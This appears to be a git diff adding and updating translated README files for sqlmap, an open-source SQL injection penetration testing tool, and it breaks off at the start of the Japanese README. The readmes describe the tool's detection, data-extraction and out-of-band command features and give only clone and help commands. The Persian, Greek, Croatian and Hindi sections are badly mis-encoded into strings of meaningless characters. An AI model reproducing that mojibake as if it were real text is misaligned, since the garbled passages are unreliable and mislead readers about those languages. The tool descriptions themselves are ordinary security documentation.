+ + + +برنامه `sqlmap`ØŒ یک برنامه‌ی تست Ù†Ùوذ منبع باز است Ú©Ù‡ Ùرآیند تشخیص Ùˆ اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام Ù…ÛŒ دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طی٠گسترده‌ای از اسکریپت ها می‌باشد Ú©Ù‡ برای متخصصان تست Ù†Ùوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم Ùˆ اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. + + +تصویر محیط ابزار +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. + + +نصب +---- + +برای دانلود اخرین نسخه tarballØŒ با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. + + +نحوه استÙاده +---- + + +برای دریاÙت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استÙاده کنید: + + + +
+ + +``` + python sqlmap.py -h +``` + + + + +
+ + +برای دریاÙت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استÙاده کنید: + +
+ + +``` + python sqlmap.py -hh +``` + + +
+ + +برای اجرای سریع Ùˆ ساده ابزار Ù…ÛŒ توانید از [اینجا](https://asciinema.org/a/46601) استÙاده کنید. برای دریاÙت اطلاعات بیشتر در رابطه با قابلیت ها ØŒ امکانات قابل پشتیبانی Ùˆ لیست کامل امکانات Ùˆ دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. + + +لینک‌ها +---- + + +* خانه: https://sqlmap.org +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki +* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* توییتر: [@sqlmap](https://x.com/sqlmap) +* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* زمین تمرین: https://sekumart.sekuripy.hr +* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md new file mode 100644 index 00000000000..02bfe0d8944 --- /dev/null +++ b/doc/translations/README-fr-FR.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. + +---- + +![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. + +Installation +---- + +Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). + +De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/) + +Utilisation +---- + +Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez: + + python sqlmap.py -h + +Pour afficher une liste complète des options et des commutateurs (switches), tapez: + + python sqlmap.py -hh + +Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. +Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Liens +---- + +* Page d'acceuil: https://sqlmap.org +* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues +* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki +* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Terrain de jeu: https://sekumart.sekuripy.hr +* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 8b09ba6532a..161280fe892 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ -sqlmap -== +# sqlmap ![](https://i.imgur.com/fe85aVR.png) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι Ï€ÏόγÏαμμα Î±Î½Î¿Î¹Ï‡Ï„Î¿Ï ÎºÏŽÎ´Î¹ÎºÎ±, που αυτοματοποιεί την εÏÏεση και εκμετάλλευση ευπαθειών Ï„Ïπου SQL Injection σε βάσεις δεδομένων. ΈÏχεται με μια δυνατή μηχανή αναγνώÏισης ευπαθειών, πολλά εξειδικευμένα χαÏακτηÏιστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εÏÏος επιλογών αÏχίζοντας από την αναγνώÏιση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχÏι και Ï€Ïόσβαση στο βαθÏτεÏο σÏστημα αÏχείων και εκτέλεση εντολών στο απευθείας στο λειτουÏγικό μέσω εκτός ζώνης συνδέσεων. @@ -18,9 +18,9 @@ sqlmap Κατά Ï€Ïοτίμηση, μποÏείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήÏιο: - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -Το sqlmap λειτουÏγεί χωÏίς πεÏαιτέÏω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόÏμα. +Το sqlmap λειτουÏγεί χωÏίς πεÏαιτέÏω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόÏμα. ΧÏήση ---- @@ -33,21 +33,19 @@ sqlmap python sqlmap.py -hh -ΜποÏείτε να δείτε ένα δείγμα λειτουÏγίας του Ï€ÏογÏάμματος [εδώ](https://gist.github.com/stamparm/5335217). -Για μια γενικότεÏη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηÏιζόμενων χαÏακτηÏιστικών και πεÏιγÏαφή για όλες τις επιλογές, μαζί με παÏαδείγματα, καλείστε να συμβουλευτείτε το [εγχειÏίδιο χÏήστη](https://github.com/sqlmapproject/sqlmap/wiki). +ΜποÏείτε να δείτε ένα δείγμα λειτουÏγίας του Ï€ÏογÏάμματος [εδώ](https://asciinema.org/a/46601). +Για μια γενικότεÏη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηÏιζόμενων χαÏακτηÏιστικών και πεÏιγÏαφή για όλες τις επιλογές, μαζί με παÏαδείγματα, καλείστε να συμβουλευτείτε το [εγχειÏίδιο χÏήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). ΣÏνδεσμοι ---- -* ΑÏχική σελίδα: http://sqlmap.org +* ΑÏχική σελίδα: https://sqlmap.org * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * ΠÏοβλήματα: https://github.com/sqlmapproject/sqlmap/issues * ΕγχειÏίδιο ΧÏήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές ΕÏωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* ΕγγÏαφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list αÏχείο: http://news.gmane.org/gmane.comp.security.sqlmap -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ΧώÏος δοκιμών: https://sekumart.sekuripy.hr * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 69e2d531dda..4807f57d6c1 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ -sqlmap -== +# sqlmap ![](https://i.imgur.com/fe85aVR.png) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoÅ¡tvom korisnih opcija za napredno penetracijsko testiranje te Å¡iroki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datoteÄnom sustavu i izvrÅ¡avanja komandi na operacijskom sustavu koriÅ¡tenjem tzv. "out-of-band" veza. @@ -18,9 +18,9 @@ Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahtjeva koriÅ¡tenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahtjeva koriÅ¡tenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. KoriÅ¡tenje ---- @@ -33,21 +33,19 @@ Kako biste dobili listu svih opcija i prekidaÄa koristite: python sqlmap.py -hh -Možete pronaći primjer izvrÅ¡avanja [ovdje](https://gist.github.com/stamparm/5335217). -Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih znaÄajki te opis svih opcija i prekidaÄa, zajedno s primjerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki). +Možete pronaći primjer izvrÅ¡avanja [ovdje](https://asciinema.org/a/46601). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih znaÄajki te opis svih opcija i prekidaÄa, zajedno s primjerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Poveznice ---- -* PoÄetna stranica: http://sqlmap.org +* PoÄetna stranica: https://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * KorisniÄki priruÄnik: https://github.com/sqlmapproject/sqlmap/wiki * NajÄešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* VježbaliÅ¡te: https://sekumart.sekuripy.hr * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index e2957b11973..5a35ec38496 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,53 +1,54 @@ -sqlmap -== +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. + +sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. +Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- -Anda dapat mengunduh tarball versi terbaru [di sini] -(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). +Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). -Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun. +sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun. Penggunaan ---- -Untuk mendapatkan daftar opsi dasar gunakan: +Untuk mendapatkan daftar opsi dasar gunakan perintah: python sqlmap.py -h -Untuk mendapatkan daftar opsi lanjut gunakan: +Untuk mendapatkan daftar opsi lanjutan gunakan perintah: python sqlmap.py -hh -Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217). -Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki). +Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). + +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- -* Situs: http://sqlmap.org +* Situs: https://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki -* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) +* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Arena latihan: https://sekumart.sekuripy.hr * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md new file mode 100644 index 00000000000..61aaec255f0 --- /dev/null +++ b/doc/translations/README-in-HI.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap à¤à¤• ओपन सोरà¥à¤¸ पà¥à¤°à¤µà¥‡à¤¶ परीकà¥à¤·à¤£ उपकरण है जो SQL इनà¥à¤œà¥‡à¤•à¥à¤¶à¤¨ दोषों की पहचान और उपयोग की पà¥à¤°à¤•à¥à¤°à¤¿à¤¯à¤¾ को सà¥à¤µà¤šà¤²à¤¿à¤¤ करता है और डेटाबेस सरà¥à¤µà¤°à¥‹à¤‚ को अधिकृत कर लेता है। इसके साथ à¤à¤• शकà¥à¤¤à¤¿à¤¶à¤¾à¤²à¥€ पहचान इंजन, अंतिम पà¥à¤°à¤µà¥‡à¤¶ परीकà¥à¤·à¤• के लिठकई निचले विशेषताà¤à¤ और डेटाबेस पà¥à¤°à¤¿à¤‚ट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिसà¥à¤Ÿà¤® तक पहà¥à¤à¤šà¤¨à¥‡ और आउट-ऑफ-बैंड कनेकà¥à¤¶à¤¨ के माधà¥à¤¯à¤® से ऑपरेटिंग सिसà¥à¤Ÿà¤® पर कमांड चलाने के लिठकई बड़े रेंज के सà¥à¤µà¤¿à¤š शामिल हैं। + +चितà¥à¤°à¤¸à¤‚वाद +---- + +![सà¥à¤•à¥à¤°à¥€à¤¨à¤¶à¥‰à¤Ÿ](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कà¥à¤› फीचरà¥à¤¸ की दिखाते हà¥à¤ छवियों का संगà¥à¤°à¤¹ देख सकते हैं। + +सà¥à¤¥à¤¾à¤ªà¤¨à¤¾ +---- + +आप नवीनतम तारबाल को [यहां कà¥à¤²à¤¿à¤• करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां कà¥à¤²à¤¿à¤• करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। + +पà¥à¤°à¤¾à¤¥à¤®à¤¿à¤•à¤¤: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी कà¥à¤²à¥‹à¤¨ करके भी डाउनलोड कर सकते हैं: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) संसà¥à¤•à¤°à¤£ **2.7** और **3.x** पर किसी भी पà¥à¤²à¥‡à¤Ÿà¤«à¤¾à¤°à¥à¤® पर तà¥à¤°à¤‚त काम करता है। + +उपयोग +---- + +मौलिक विकलà¥à¤ªà¥‹à¤‚ और सà¥à¤µà¤¿à¤š की सूची पà¥à¤°à¤¾à¤ªà¥à¤¤ करने के लिà¤: + + python sqlmap.py -h + +सभी विकलà¥à¤ªà¥‹à¤‚ और सà¥à¤µà¤¿à¤š की सूची पà¥à¤°à¤¾à¤ªà¥à¤¤ करने के लिà¤: + + python sqlmap.py -hh + +आप [यहां](https://asciinema.org/a/46601) à¤à¤• नमूना चलाने का पता लगा सकते हैं। sqlmap की कà¥à¤·à¤®à¤¤à¤¾à¤“ं की à¤à¤• अवलोकन पà¥à¤°à¤¾à¤ªà¥à¤¤ करने, समरà¥à¤¥à¤¿à¤¤ फीचरà¥à¤¸ की सूची और सभी विकलà¥à¤ªà¥‹à¤‚ और सà¥à¤µà¤¿à¤š का वरà¥à¤£à¤¨, साथ ही उदाहरणों के साथ, आपको [उपयोगकरà¥à¤¤à¤¾ मैनà¥à¤¯à¥à¤…ल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामरà¥à¤¶ दिया जाता है। + +लिंक +---- + +* मà¥à¤–पृषà¥à¤ : https://sqlmap.org +* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* संवाद आरà¤à¤¸à¤à¤¸ फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* समसà¥à¤¯à¤¾ टà¥à¤°à¥ˆà¤•à¤°: https://github.com/sqlmapproject/sqlmap/issues +* उपयोगकरà¥à¤¤à¤¾ मैनà¥à¤¯à¥à¤…ल: https://github.com/sqlmapproject/sqlmap/wiki +* अकà¥à¤¸à¤° पूछे जाने वाले पà¥à¤°à¤¶à¥à¤¨ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* टà¥à¤µà¤¿à¤Ÿà¤°: [@sqlmap](https://x.com/sqlmap) +* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* अभà¥à¤¯à¤¾à¤¸ सà¥à¤¥à¤²: https://sekumart.sekuripy.hr +* सà¥à¤•à¥à¤°à¥€à¤¨à¤¶à¥‰à¤Ÿ: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md new file mode 100644 index 00000000000..66c7e662a3b --- /dev/null +++ b/doc/translations/README-it-IT.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. + +Screenshot +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. + +Installazione +---- + +Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). + +La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. + +Utilizzo +---- + +Per una lista delle opzioni e dei controlli di base: + + python sqlmap.py -h + +Per una lista di tutte le opzioni e di tutti i controlli: + + python sqlmap.py -hh + +Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). +Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). + +Link +---- + +* Sito: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki +* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo di prova: https://sekumart.sekuripy.hr +* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md new file mode 100644 index 00000000000..e544a9a455a --- /dev/null +++ b/doc/translations/README-ja-JP.md @@ -0,0 +1,52 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + 